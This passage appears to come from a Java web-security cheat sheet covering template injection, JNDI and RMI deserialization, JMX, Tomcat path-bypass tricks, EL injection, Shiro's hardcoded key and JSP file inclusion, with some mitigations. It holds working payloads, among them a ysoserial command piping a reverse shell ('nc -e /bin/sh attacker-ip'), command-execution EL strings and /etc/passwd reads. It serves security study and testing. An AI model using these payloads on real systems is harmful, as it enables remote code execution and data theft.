  • Thymeleaf does not natively support sandboxes, making careful input sanitization critical.
  • ${T(java.lang.Runtime).getRuntime().exec('id')} to detect Thymeleaf.
  • SSTI Payload Example: ${#exec("id")}

Generic Exploitation Methods

ClassLoader Access

  • Enables arbitrary file reads and class instantiation:
    <#assign uri = classLoader.getResource("META-INF").toURI() >
    <#assign url = uri.resolve("file:///etc/passwd").toURL() >
    <#assign bytes = url.openConnection().getInputStream().readAllBytes() >
    
  • Vulnerable APIs:
    • java.lang.Class.getClassLoader()
    • java.lang.Thread.getCurrentClassLoader()
    • java.lang.ProtectionDomain.getClassLoader()
    • javax.servlet.ServletContext.getClassLoader()
    • org.osgi.framework.wiring.BundleWiring.getClassLoader()
    • org.springframework.context.ApplicationContext.getClassLoader()

Indirect Object Access

Access server-specific contexts like:

  • javax.servlet.http.HttpSession.getAttributeNames()
    • $session | $request.session
  • javax.servlet.http.ServletRequest.getAttributeNames()
    • $req | $request | $session.request
  • javax.servlet.ServletContext.getAttributeNames()
    • $application | $request.servletContext | $session.servletContext

InstanceManager or ObjectFactory

  • Allows arbitrary object instantiation:
    ${im.newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval('CODE')}
    
  • ServletContext attributes on Tomcat, Jetty, WildFly (JBoss)
    • org.apache.catalina.InstanceManager
    • org.wildfly.extension.undertow.deployment.UndertowJSPInstanceManager
    • org.eclipse.jetty.util.DecoratedObjectFactory
  • WebApp Classloaders
    • Tomcat $request.servletContext.classLoader.resources.context.instanceManager
    • Jetty $request.servletContext.classLoader.context.objectFactory

Spring Application Context

  • getClassLoader()
  • getEnvironment()
  • getBean()
    • Control application logic
    • Disable sandboxes
    • Instantiate arbitrary objects
  • ServletContext attribute
    • org.springframework.web.context.WebApplicationContext.ROOT
  • Spring Macro Request Context
    • Injected by Spring MVC automatically (normally undocumented in CMS)
    • $springMacroRequestContext.getWebApplicationContext()

Sandbox Bypass Techniques

Blocked Classes

  • Example: java.lang.Class.getClassLoader is often blocked.
  • Developers may fail to block all related methods, e.g., Thread.getContextClassLoader.

Reflection Misuse

  • Example payload bypassing sandboxes:
    ${request.servletContext.classLoader.loadClass("CLASS")}
    

Readmore about Template Engine

Bugs

Attack Categories for JRMP

Unsafe Reflection with ObjectFactory

  • This attack exploits the org.apache.naming.ResourceRef class, which extends javax.naming.Reference, allowing attackers to reference objects implementing the javax.naming.spi.ObjectFactory interface and its getObjectInstance method.

How it works?

  • Exploits JNDI and ObjectFactory for remote execution via reflection.
  • javax.naming.Reference: Used to store information about an object to be created later by an ObjectFactory.
  • org.apache.naming.ResourceRef extends javax.naming.Reference, allowing the use of objects implementing javax.naming.spi.ObjectFactory.
  • org.apache.naming.factory.BeanFactory.getObjectInstance enables specification of a property setter, useful for exploitation.

Constraints for Exploitation

  1. Target class must have an empty constructor.
  2. A single string parameter method capable of performing unsafe or dangerous operations (e.g., Runtime.exec or other reflection-based code execution).
  3. Vulnerable server must include Apache Tomcat-Catalina libraries to utilize ResourceRef.

Exploitation Workflow

  • Create a javax.naming.Reference object configured to invoke a specific ObjectFactory, such as BeanFactory.
  • Set the x parameter to a malicious Expression Language (EL) payload.
  • Use javax.el.ELProcessor to evaluate EL expressions.
  • Create a forced HashMap containing properties and methods:
    • Set the parameter x to malicious EL code.
    • Call javax.el.ELProcessor.eval(x) to execute.
javax.naming.Reference ref = new javax.naming.Reference(
    "java.lang.Runtime",
    "org.apache.naming.factory.BeanFactory",
    null
);
ref.add(new javax.naming.StringRefAddr("x", "malicious EL payload"));

Defense Mechanisms

  • Prevent dynamic loading of untrusted classes by setting java.rmi.server.useCodebaseOnly=true.
  • Use a secure implementation like Spring JNDI Factory or validate all JNDI resource configurations.
  • Avoid org.apache.naming.factory.BeanFactory for sensitive configurations.

Readmore

Distributed Garbage Collector (DGC) Deserialization

Attack Vectors

Malicious RMI Client → Vulnerable RMI Registry Server

  • Exploits registry methods like bind(), rebind(), lookup() and DGC (ObjID 2) to trigger deserialization.
  • Tools:
    • RMIRegistryExploit: Binds malicious objects to the registry.
    • JRMPClient: Exploits client-server communication.
  • Known vulnerabilities:
  • Bypasses:
    • Exploits UnicastRemoteObject’s reliance on ObjectInputStream deserialization.
    • Service methods with non-primitive arguments (e.g., String) can be abused to trigger deserialization.
    • Arrays of primitive types (extending Object) are also exploitable in vulnerable implementations.
    • String deserialization attacks are feasible only in Java versions prior to 8u242.

Malicious RMI Registry Server → Vulnerable RMI Client

  • Targets the RMI client and exploits RMI Lookups and DGC.
  • Tools:
    • JRMPListener acts as a rogue RMI registry server to serve malicious payloads during client lookups().

Limitations

  • Requires knowledge of service methods and parameter types.
  • Mitigated by Java SE 8u241, which introduced stronger deserialization protections.
  • Restrict RMI registry and service access to trusted environments.

RMI Registry Manipulation

  • The RMI registry allows lookup and binding of objects via
    • bind(): Bind malicious objects to registry names.
    • rebind(): Hijack an existing service by re-binding a malicious object.
    • lookup(): Query and enumerate available registry names for reconnaissance.
  • Redirects legitimate clients to malicious objects. Enables deserialization attacks through malicious object payloads.
    Registry registry = LocateRegistry.getRegistry("target-host", 1099);
    registry.rebind("TargetService", maliciousObject);
    

RMI Deserialization Attacks

  • Exploiting readObject() during remote method calls.
  • JRMP deserializes objects passed as method parameters.
  • An attacker crafts a malicious serialized payload with:
    • Gadget Chains: Classes in the target’s classpath used to execute arbitrary code.
    • Golden Gadgets: Purely JDK-based gadget chains (e.g., sun.rmi.server.UnicastRef).
  • Malicious payloads are passed to vulnerable methods, such as lookup() and invoke().
    ysoserial CommonsCollections5 'nc -e /bin/sh attacker-ip 4444' | nc target-host 1099
    

Codebase Injection or Remote Class Loading

  • Dynamic class loading via java.rmi.server.codebase.
  • JRMP can dynamically load classes specified in the codebase property.
  • An attacker hosts a malicious JAR file on an accessible HTTP/FTP server and binds an object.
  • The victim’s JVM fetches and executes classes from the attacker’s codebase.
  • Persistence via custom backdoors or malicious classes.
    System.setProperty("java.rmi.server.codebase", "http://server/payload.jar");
    

Exploiting JRMP Relay

  • Using an exposed JRMP endpoint to relay attacks to internal networks.
  • This attack is facilitated through deserialization gadgets or tools like ysoserial.
  • Lateral movement within a network.

Mitigations for JRMP

  • Limit access to the RMI registry (e.g., via firewalls or VPNs). Require authentication for registry access.
  • Set java.rmi.server.useCodebaseOnly=true to prevent fetching remote codebases.
  • Secure RMI communication using SSL/TLS with SSLServerSocketFactory.
  • Monitor and filter calls to ObjID 2. Disable unnecessary garbage collection-related RMI calls if not needed.
  • Remove unused libraries or dependencies to minimize gadget availability. Regularly patch and update JDK versions to reduce exposure to known gadget chains.
  • Implement custom Registry implementations with authentication checks.

Java Management Extension (JMX) Vulnerabilities

JMX/RMI Misconfigurations

  • Missing or improper authentication on JMX endpoints can grant attackers full access to sensitive attributes and operations.
  • Publicly exposed RMI endpoints are particularly dangerous.
  • Weak or plaintext credentials in file-based authentication can be easily extracted.

JMX Exploitation

  • Java MBeans Requirements: MBean classes must follow specific design patterns or implement certain interfaces. Notable classes include javax.management.StandardMBean and javax.management.modelmbean.RequiredModelMBean.
  • Unexpected MBean Behaviors: These MBean classes allow remote invocation of arbitrary instance methods on serializable objects and arbitrary static methods on any class, leading to potential unexpected behaviors.
  • StandardMBean Class: Uses reflection to determine attributes and operations based on Java interface classes, enabling the creation and method invocation on MBeans of arbitrary classes, as long as they are serializable.
  • TemplatesImpl Class: Known for its role in Java deserialization exploits, it allows remote execution of arbitrary code via methods like getOutputProperties() and newTransformer() during deserialization.
  • RequiredModelMBean Class: More versatile than StandardMBean, it allows specification of attributes and operations through ModelMBeanInfo, enabling the invocation of methods that do not follow JavaBeans conventions, and even static methods on any class with a provided descriptor.

SSRF

  • JMX services are often targeted due to poor security practices, making SSRF attacks on JMX endpoints a significant threat, especially when securing JMX with user authentication or certificates is neglected.
  • JMX employs session management using ObjID values, requiring clients to perform a lookup operation on the RMI registry and then establish a session via the newClient method with appropriate credentials.
  • To exploit JMX via SSRF, attackers must:
    • Lookup the JMX bound name from the RMI registry,
    • Call the newClient method to establish a session, and
    • Quickly perform operations before the remote object gets garbage collected.
  • Attackers can create and load a malicious MBean using the MLet MBean to achieve remote code execution, by invoking methods such as getMBeansFromURL.
  • Due to the Distributed Garbage Collector (DGC), the remote object created via SSRF gets garbage collected if not used promptly, necessitating quick execution of all steps to maintain access and exploit the JMX service.
  • Readmore:

Readmore

Authentication Bypass

  • Bypass Tricks, which /api/flagmutate the original URI to achieve the purpose of normal routing to the same Servlet:
    • hack/api/flag: Based on the variation of readRequestjudging that the first character of the URI is not /;
    • /api/fla%67normalizeUriEscapeDecoding-based mutation;
    • /api/fla%u0067: Based on scanUriEscapethe special URL encoding variation in ;
    • /api//flag: Based on normalizeUrithe variation of 2.1;
    • /api/./flag: Based on normalizeUrithe variation of 2.2;
    • ../api/flag: Based on normalizeUrithe variation of 2.3;
    • /api\flag: Based on normalizeUrithe variation of 2.4, all separators will be converted to /;
    • /api/flag%20(space), /api/flag.normalizeUriA variation based on 2.4, valid only on Windows systems;
    • /api/flag;a=b: For stripPathParametersthe variation of ;
    • /api/flag%0a: A variation based on regular expressions $that do not match newlines;
  • First, decode the URI, then replace the backslashes, and ignore the URI standard, ..just delete them, delete the path parameters, and //process the spaces, etc. It seems flawless, right? But if you look closely, you will find that there are still some problems, such as:
    • uriDecode may fail, resulting in no decoding and returning the original path;
    • After URI decoding, the path may be capitalized. If you request a JSP or other file in WIndows, it can be routed correctly.
    • The path parameters are deleted after ./, so .;xxx/they still exist after processing ./;
    • Delete spaces \safter normalization //, so /%20/it can still bypass replacement return //;

Readmore

Expression Language Injection

EL payload must be concise

  • Must be a one-liner.
  • Cannot call static methods directly.
  • Starts from a variable in EL scope.

Payload Examples

Process Execution: Payload to create and start a new process (touch /tmp/pwn)

#{"".getClass().forName("java.lang.ProcessBuilder").getConstructors()[1].newInstance("touch~/tmp/pwn".split("~")).start()}

Runtime Invocation: Payload to execute xcalc using java.lang.Runtime

#{"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("xcalc")}

Fine-Tuning EL Payloads

  • EL behavior varies across implementations.
  • Constructor order in getConstructors() changes per JVM restart.
  • Example to use EL to manipulate HTTP headers while referencing Java classes:
${facesContext.getExternalContext().setResponseHeader("S0","".getClass().forName("java.lang.ProcessBuilder").getConstructors()[0].toString())}

Readmore

Deserialization Exploitation

CVE-2020-2555 (Oracle T3 Protocol Deserialization)

CVE-2020-9484 (Apache Tomcat)

  • The PersistentManager in Tomcat enables swapping idle sessions to disk, potentially exposing them to attacks if a vulnerable FileStore is used.
  • Attackers can exploit JSESSIONID path traversal to force the manager to deserialize malicious serialized files stored on the server.
  • Successful exploitation requires a file upload vulnerability, attacker-controlled filenames, and deserialization gadgets in the classpath.
  • By tampering with session paths, attackers can execute Remote Code Execution (RCE) before Tomcat identifies the file as invalid.
  • The attack depends on specific configurations and conditions, making it impactful but less likely to succeed widely.
  • Readmore:

CVE-2020-5902 (F5 Big‑IP)

  • A misconfigured proxy_ajp.conf file in Apache can allow bypassing authorization, granting unauthorized access to Tomcat endpoints via URL manipulation (e.g., /..;/ path traversal).
  • Attackers can exploit hidden endpoints like HSQLDB to access sensitive databases without authentication, leveraging default credentials.
  • HSQLDB allows execution of arbitrary SQL queries and stored procedures, including Java static methods, through its CALL statement.
  • Using Jython’s context in HSQLDB, attackers can execute commands like Runtime.getRuntime().exec() for Remote Code Execution (RCE).
  • A final exploit involves sending crafted DNS or network requests to verify and execute RCE on vulnerable systems.
  • Readmore:

JSF ViewState

  • ViewStates in JSF are serialized Java objects.
  • Tracks user session and serialized into forms as hidden fields.
    • Can be encrypted or plaintext, depending on configuration.
  • Client-side ViewState:
    • Serialized session data transmitted in POST requests.
    • High overhead due to large request sizes.
  • Server-side ViewState:
    • Serialized session ID transmitted.
    • Server reconstructs session from memory.
    • Configured to sit on the server the hidden javax.faces.ViewState field contains an id that helps the server to retrieve the correct state.
  • The preconditions for a successful attack
    • Unencrypted ViewState.
    • Gadget on the classpath of the server.
    • In case of Mojarra: ViewState configured to reside on the client.
    • In case of MyFaces: ViewState configured to reside on the client or the server.
  • Readmore:

Apache Shiro Java Deserialization

  • From the official issue, there are several important points:
    • rememberMe cookie
    • CookieRememberMeManager.java
    • Base64
    • AES
    • Encryption keys are hardcoded
    • Java serialization
  • The rememberMe cookie uses Base64 encoding and AES symmetric encryption with a hardcoded key for securing serialized data.
  • The encryption key (kPH+bIxk5D2deZiIxcaaaA==) is decoded from Base64 and used for both encryption and decryption.
  • AES operates in CBC mode, but the initialization vector (IV) is not actually utilized during the process.
  • The serialized object in the cookie is SimplePrincipalCollection, with its byte array generated through custom serialization methods (writeObject and readObject).
  • Java deserialization is triggered in the DefaultSerializer class when the cookie is processed.
  • Readmore:

Labs Java Deserialization

Cheatsheet

Bugs

Mitigations

Bypass

Tools

Local File Inclusion (LFI)

JSP Exploitation

  • The include and import functions in JSP are often used to dynamically include resources into a web application.

include Function

  • Embeds the content of a local file into the JSP output.
  • Attacker can include arbitrary files, e.g., /etc/passwd, application logs or application configuration files (e.g., web.xml, .properties files).
  • Capabilities:
    • Can read files on the server but cannot execute them as JSP/Java code.
    • Restricted to local file paths.
  • Example code:
<c:if test="${not empty param.language}">  
    <jsp:include file="<%= request.getParameter('language') %>" />  
</c:if>

import Function

  • Imports resources (files or URLs) and optionally executes them if they are executable scripts or JSP pages.
  • Attacker can execute remote scripts hosted on their server, enabling Remote Code Execution (RCE).
  • Local file execution is possible if the resource is an executable script (e.g., .jsp, .sh).
  • Capabilities:
    • Can read and execute both local and remote resources.
    • Remote URL functionality makes it more dangerous than include.
  • Example code:
<c:import url="<%= request.getParameter('language') %>" />

Bugs

Java Logging Vulnerabilities

Log Injection Attacks

  • Attackers can manipulate log messages to inject malicious content.
    logger.info("User login: " + userInput); // User-provided input can lead to injection.
    

Log4Shell (CVE-2021-44228)

Sensitive Data Exposure

  • Logging sensitive information (e.g., passwords, tokens) can inadvertently expose it in logs.
    logger.debug("User password: " + password); // Avoid logging sensitive information.
    

Uncontrolled Log File Permissions

  • Improper file permissions on log files can lead to unauthorized access.

Readmore


What’s Next?


Resources

  • 100 Java Mistakes and How to Avoid Them
  • Persistence Best Practices for Java Applications
  • Transitioning to Java: Kickstart your polyglot programming journey by getting a clear understanding of Java
  • Spring Boot 3.0 Cookbook: Proven recipes for building modern and robust Java web applications with Spring Boot
  • Java Coding Problems: Become an expert Java programmer by solving over 200 brand-new, modern, real-world problems
  • Java Memory Management: A comprehensive guide to garbage collection and JVM tuning
  • JVM Performance Engineering: Inside OpenJDK and the HotSpot Java Virtual Machine
  • Java Persistence with NoSQL: Revolutionize your Java apps with NoSQL integration
  • Java EE 8 Application Development
  • How to Read Java: Understanding, debugging, and optimizing JVM applications

Updated: